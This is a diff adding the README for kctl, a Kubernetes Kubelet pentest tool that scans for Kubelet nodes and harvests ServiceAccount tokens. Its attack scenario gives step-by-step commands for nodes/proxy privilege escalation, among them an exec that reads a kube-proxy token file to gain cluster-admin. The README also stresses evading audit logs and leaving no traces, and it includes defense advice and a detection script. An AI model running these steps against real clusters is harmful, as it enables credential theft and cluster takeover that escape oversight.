|
| 1 | +<p align="center"> |
| 2 | + <img src="https://img.shields.io/github/v/release/kinopio1101/kctl?color=%2300ADD8&label=release&logo=github&logoColor=white" alt="GitHub Release"> |
| 3 | + <img src="https://img.shields.io/badge/Go-1.24+-00ADD8?logo=go&logoColor=white" alt="Go Version"> |
| 4 | + <a href="https://github.com/kinopio1101/kctl/blob/main/LICENSE"> |
| 5 | + <img src="https://img.shields.io/badge/License-MIT-E11311.svg" alt="MIT License"> |
| 6 | + </a> |
| 7 | + <a href="https://github.com/kinopio1101/kctl/issues"> |
| 8 | + <img src="https://img.shields.io/github/issues/kinopio1101/kctl?color=%23F97316&logo=github" alt="GitHub Issues"> |
| 9 | + </a> |
| 10 | + <a href="https://github.com/kinopio1101/kctl/stargazers"> |
| 11 | + <img src="https://img.shields.io/github/stars/kinopio1101/kctl?color=%23FBBF24&logo=github" alt="GitHub Stars"> |
| 12 | + </a> |
| 13 | +</p> |
| 14 | + |
| 15 | +<h1 align="center"> |
| 16 | + <br> |
| 17 | + <img src="https://raw.githubusercontent.com/kubernetes/kubernetes/master/logo/logo.svg" alt="kctl" width="120"> |
| 18 | + <br> |
| 19 | + kctl |
| 20 | + <br> |
| 21 | +</h1> |
| 22 | + |
| 23 | +<h4 align="center">Kubernetes Kubelet Security Audit Tool - Penetration Testing & Lateral Movement</h4> |
| 24 | + |
| 25 | +<p align="center"> |
| 26 | + <a href="#features">Features</a> • |
| 27 | + <a href="#installation">Installation</a> • |
| 28 | + <a href="#quick-start">Quick Start</a> • |
| 29 | + <a href="#commands">Commands</a> • |
| 30 | + <a href="#attack-scenario">Attack Scenario</a> • |
| 31 | + <a href="#defense">Defense</a> |
| 32 | +</p> |
| 33 | + |
| 34 | +--- |
| 35 | + |
| 36 | +## Overview |
| 37 | + |
| 38 | +**kctl** is a lightweight Kubernetes security audit tool specifically designed for Kubelet API security assessment and privilege analysis. Built for penetration testing scenarios, it supports automatic environment detection and lateral movement when running inside a Pod. |
| 39 | + |
| 40 | +### Key Features |
| 41 | + |
| 42 | +- **Network Discovery** - Scan network ranges to discover Kubelet nodes |
| 43 | +- **SA Permission Analysis** - Scan all Pod ServiceAccount tokens and analyze permissions |
| 44 | +- **Risk Assessment** - Automatically identify high-risk permissions (cluster-admin, nodes/proxy, etc.) |
| 45 | +- **Lateral Movement** - Execute commands across Pods via Kubelet API |
| 46 | +- **Stealth Operation** - All data cached in memory, automatically cleared on exit |
| 47 | + |
| 48 | +## Features |
| 49 | + |
| 50 | +| Feature | Description | |
| 51 | +|---------|-------------| |
| 52 | +| `discover` | Scan network ranges to find Kubelet endpoints | |
| 53 | +| `sa scan` | Extract and analyze SA tokens from all Pods | |
| 54 | +| `sa list` | List discovered ServiceAccounts with risk levels | |
| 55 | +| `exec` | Execute commands in any Pod via Kubelet API | |
| 56 | +| `pods` | List all Pods on the node | |
| 57 | + |
| 58 | +## Installation |
| 59 | + |
| 60 | +### Download Binary |
| 61 | + |
| 62 | +```bash |
| 63 | +# Linux amd64 |
| 64 | +curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-linux-amd64 |
| 65 | +chmod +x kctl-linux-amd64 |
| 66 | +mv kctl-linux-amd64 /usr/local/bin/kctl |
| 67 | + |
| 68 | +# macOS arm64 |
| 69 | +curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-darwin-arm64 |
| 70 | +chmod +x kctl-darwin-arm64 |
| 71 | +mv kctl-darwin-arm64 /usr/local/bin/kctl |
| 72 | +``` |
| 73 | + |
| 74 | +### Build from Source |
| 75 | + |
| 76 | +```bash |
| 77 | +git clone https://github.com/kinopio1101/kctl.git |
| 78 | +cd kctl |
| 79 | +go build -o kctl ./main/main.go |
| 80 | +``` |
| 81 | + |
| 82 | +## Quick Start |
| 83 | + |
| 84 | +### Basic Usage |
| 85 | + |
| 86 | +```bash |
| 87 | +# Enter interactive console |
| 88 | +./kctl console |
| 89 | + |
| 90 | +# Specify target |
| 91 | +./kctl console -t 10.0.0.1 |
| 92 | + |
| 93 | +# Use SOCKS5 proxy |
| 94 | +./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080 |
| 95 | +``` |
| 96 | + |
| 97 | +### Auto-Detection in Pod |
| 98 | + |
| 99 | +When running inside a Pod, kctl automatically: |
| 100 | +1. Detects Kubelet IP (default gateway) |
| 101 | +2. Reads ServiceAccount token |
| 102 | +3. Connects to Kubelet |
| 103 | +4. Checks current SA permissions |
| 104 | + |
| 105 | +``` |
| 106 | +$ ./kctl console |
| 107 | +
|
| 108 | + ██╗ ██╗ ██████╗████████╗██╗ |
| 109 | + ██║ ██╔╝██╔════╝╚══██╔══╝██║ |
| 110 | + █████╔╝ ██║ ██║ ██║ |
| 111 | + ██╔═██╗ ██║ ██║ ██║ |
| 112 | + ██║ ██╗╚██████╗ ██║ ███████╗ |
| 113 | + ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ |
| 114 | + Kubelet Security Audit Tool |
| 115 | +
|
| 116 | + Mode : In-Pod (Memory Database) |
| 117 | + Kubelet : 10.244.1.1:10250 (auto-detected) |
| 118 | + Token : /var/run/secrets/kubernetes.io/serviceaccount/token |
| 119 | +
|
| 120 | +[*] Auto-connecting to Kubelet 10.244.1.1:10250... |
| 121 | +✓ Connected successfully |
| 122 | +[+] Using ServiceAccount: default/attacker |
| 123 | +[*] Checking permissions... |
| 124 | +[+] Risk Level: CRITICAL |
| 125 | +
|
| 126 | +kctl [default/attacker CRITICAL]> |
| 127 | +``` |
| 128 | + |
| 129 | +## Commands |
| 130 | + |
| 131 | +### Console Commands |
| 132 | + |
| 133 | +| Command | Description | |
| 134 | +|---------|-------------| |
| 135 | +| `help` | Show help information | |
| 136 | +| `discover <target>` | Scan network range for Kubelet nodes | |
| 137 | +| `connect [ip]` | Connect to Kubelet (optional, auto-connects) | |
| 138 | +| `sa` | ServiceAccount operations | |
| 139 | +| `sa list` | List scanned ServiceAccounts | |
| 140 | +| `sa scan` | Scan all Pod SA tokens | |
| 141 | +| `sa use <ns/name>` | Switch to specified SA | |
| 142 | +| `sa info` | Show current SA details | |
| 143 | +| `pods` | List Pods on the node | |
| 144 | +| `exec` | Execute command in Pod | |
| 145 | +| `set <key> <value>` | Set configuration | |
| 146 | +| `show options` | Show current configuration | |
| 147 | +| `show status` | Show session status | |
| 148 | +| `show kubelets` | Show discovered Kubelet nodes | |
| 149 | +| `export json/csv` | Export scan results | |
| 150 | +| `clear` | Clear cache | |
| 151 | +| `exit` | Exit console | |
| 152 | + |
| 153 | +### Network Discovery |
| 154 | + |
| 155 | +```bash |
| 156 | +# Scan CIDR range |
| 157 | +discover 10.0.0.0/24 |
| 158 | + |
| 159 | +# Scan IP range |
| 160 | +discover 10.0.0.1-254 |
| 161 | + |
| 162 | +# Custom ports and concurrency |
| 163 | +discover 10.0.0.0/24 -p 10250,10255 -c 200 |
| 164 | + |
| 165 | +# Show all open ports (not just Kubelet) |
| 166 | +discover 10.0.0.0/24 --all |
| 167 | +``` |
| 168 | + |
| 169 | +### ServiceAccount Operations |
| 170 | + |
| 171 | +```bash |
| 172 | +# List all SAs (default) |
| 173 | +sa |
| 174 | + |
| 175 | +# List risky SAs only |
| 176 | +sa list --risky |
| 177 | + |
| 178 | +# List cluster-admin only |
| 179 | +sa list --admin |
| 180 | + |
| 181 | +# Scan all Pod SA tokens |
| 182 | +sa scan |
| 183 | + |
| 184 | +# Select SA |
| 185 | +sa use kube-system/cluster-admin |
| 186 | + |
| 187 | +# Show current SA details |
| 188 | +sa info |
| 189 | +``` |
| 190 | + |
| 191 | +## Attack Scenario |
| 192 | + |
| 193 | +### nodes/proxy Privilege Escalation |
| 194 | + |
| 195 | +The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) but can be exploited for RCE. |
| 196 | + |
| 197 | +Based on [Graham Helton's research](https://grahamhelton.com/blog/nodes-proxy-rce), due to Kubelet's authorization flaw with WebSocket connections, `nodes/proxy GET` can be used to execute commands in any Pod. |
| 198 | + |
| 199 | +#### Attack Flow |
| 200 | + |
| 201 | +``` |
| 202 | +┌─────────────────────────────────────────────────────────────────┐ |
| 203 | +│ nodes/proxy GET Privilege Escalation │ |
| 204 | +└─────────────────────────────────────────────────────────────────┘ |
| 205 | +
|
| 206 | +┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ |
| 207 | +│ Initial │ │ Permission │ │ Lateral Movement │ |
| 208 | +│ Access │ │ Discovery │ │ │ |
| 209 | +│ │────>│ │────>│ Execute commands in │ |
| 210 | +│ Compromised │ │ nodes/proxy │ │ other Pods via │ |
| 211 | +│ Pod │ │ GET found │ │ Kubelet API │ |
| 212 | +└──────────────┘ └──────────────┘ └──────────────────────┘ |
| 213 | + │ |
| 214 | + v |
| 215 | +┌──────────────┐ ┌──────────────┐ ┌──────────────────────┐ |
| 216 | +│ Full Cluster │ │ Privilege │ │ Token Theft │ |
| 217 | +│ Control │ │ Escalation │ │ │ |
| 218 | +│ │<────│ │<────│ Read system Pod │ |
| 219 | +│ cluster-admin│ │ Use high- │ │ SA tokens │ |
| 220 | +│ access │ │ priv token │ │ │ |
| 221 | +└──────────────┘ └──────────────┘ └──────────────────────┘ |
| 222 | +``` |
| 223 | + |
| 224 | +#### Step-by-Step |
| 225 | + |
| 226 | +```bash |
| 227 | +# 1. Copy kctl to target Pod |
| 228 | +kubectl cp kctl-linux-amd64 attacker:/kctl |
| 229 | + |
| 230 | +# 2. Enter Pod and run kctl |
| 231 | +kubectl exec -it attacker -- /bin/sh |
| 232 | +/kctl console |
| 233 | + |
| 234 | +# 3. Scan all SA tokens |
| 235 | +kctl> sa scan |
| 236 | + |
| 237 | +# 4. Find high-privilege SA |
| 238 | +kctl> sa list --admin |
| 239 | + |
| 240 | +# 5. Execute command in system Pod to steal token |
| 241 | +kctl> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token |
| 242 | + |
| 243 | +# 6. Switch to high-privilege SA |
| 244 | +kctl> sa use kube-system/kube-proxy |
| 245 | + |
| 246 | +# 7. Now you have cluster-admin! |
| 247 | +kctl [kube-system/kube-proxy ADMIN]> |
| 248 | +``` |
| 249 | + |
| 250 | +## Risk Levels |
| 251 | + |
| 252 | +| Level | Description | Example Permissions | |
| 253 | +|-------|-------------|---------------------| |
| 254 | +| ADMIN | Cluster administrator | `*/*`, cluster-admin | |
| 255 | +| CRITICAL | Direct privilege escalation | `secrets:create`, `pods/exec:create` | |
| 256 | +| HIGH | Sensitive data exposure | `secrets:get`, `nodes/proxy:get` | |
| 257 | +| MEDIUM | Potential abuse | `pods:create`, `configmaps:get` | |
| 258 | +| LOW | Low risk | `pods:list`, `services:get` | |
| 259 | +| NONE | No risk | Read-only basic permissions | |
| 260 | + |
| 261 | +## Defense |
| 262 | + |
| 263 | +### Recommendations |
| 264 | + |
| 265 | +1. **Avoid nodes/proxy permissions** - Use KEP-2862 fine-grained permissions (`nodes/metrics`, `nodes/stats`) |
| 266 | +2. **Network isolation** - Restrict access to Kubelet port (10250) |
| 267 | +3. **Audit logging** - Note: Direct Kubelet API access bypasses K8s audit logs |
| 268 | +4. **Least privilege** - Regularly review ServiceAccount permissions |
| 269 | + |
| 270 | +### Detection Script |
| 271 | + |
| 272 | +Check for ServiceAccounts with `nodes/proxy` permission: |
| 273 | + |
| 274 | +```bash |
| 275 | +kubectl get clusterrolebindings -o json | jq -r ' |
| 276 | + .items[] | |
| 277 | + select(.roleRef.kind == "ClusterRole") | |
| 278 | + .metadata.name as $binding | |
| 279 | + .roleRef.name as $role | |
| 280 | + .subjects[]? | |
| 281 | + "\($binding) -> \($role) -> \(.kind)/\(.namespace)/\(.name)" |
| 282 | +' | while read line; do |
| 283 | + role=$(echo $line | cut -d'>' -f2 | tr -d ' ') |
| 284 | + kubectl get clusterrole $role -o json 2>/dev/null | \ |
| 285 | + jq -e '.rules[] | select(.resources[] | contains("nodes/proxy"))' >/dev/null && \ |
| 286 | + echo "[!] $line" |
| 287 | +done |
| 288 | +``` |
| 289 | + |
| 290 | +## Project Structure |
| 291 | + |
| 292 | +``` |
| 293 | +kctl/ |
| 294 | +├── cmd/ |
| 295 | +│ ├── console/ # Console command entry |
| 296 | +│ └── rootCmd.go |
| 297 | +├── internal/ |
| 298 | +│ ├── console/ # Interactive console |
| 299 | +│ │ └── commands/ # Console commands |
| 300 | +│ │ └── sa/ # SA subcommands |
| 301 | +│ ├── session/ # Session state management |
| 302 | +│ ├── client/ |
| 303 | +│ │ ├── kubelet/ # Kubelet API client |
| 304 | +│ │ └── k8s/ # K8s API client |
| 305 | +│ ├── db/ # SQLite in-memory database |
| 306 | +│ └── rbac/ # Permission analysis |
| 307 | +├── pkg/ |
| 308 | +│ ├── network/ # Network utilities (scanner) |
| 309 | +│ ├── token/ # JWT token parsing |
| 310 | +│ └── types/ # Type definitions |
| 311 | +└── config/ # Configuration |
| 312 | +``` |
| 313 | + |
| 314 | +## Disclaimer |
| 315 | + |
| 316 | +- This tool is intended for **authorized security assessments and penetration testing only** |
| 317 | +- Ensure you have proper authorization before use |
| 318 | +- All operations are performed in memory, leaving no traces after exit |
| 319 | +- Direct Kubelet API access is **not recorded** in Kubernetes audit logs |
| 320 | + |
| 321 | +## References |
| 322 | + |
| 323 | +- [Kubernetes RCE Via Nodes/Proxy GET Permission](https://grahamhelton.com/blog/nodes-proxy-rce) |
| 324 | +- [KEP-2862: Fine-Grained Kubelet API Authorization](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/2862-fine-grained-kubelet-authz/README.md) |
| 325 | +- [Kubelet Authentication/Authorization](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) |
| 326 | + |
| 327 | +## License |
| 328 | + |
| 329 | +[MIT License](LICENSE) |
0 commit comments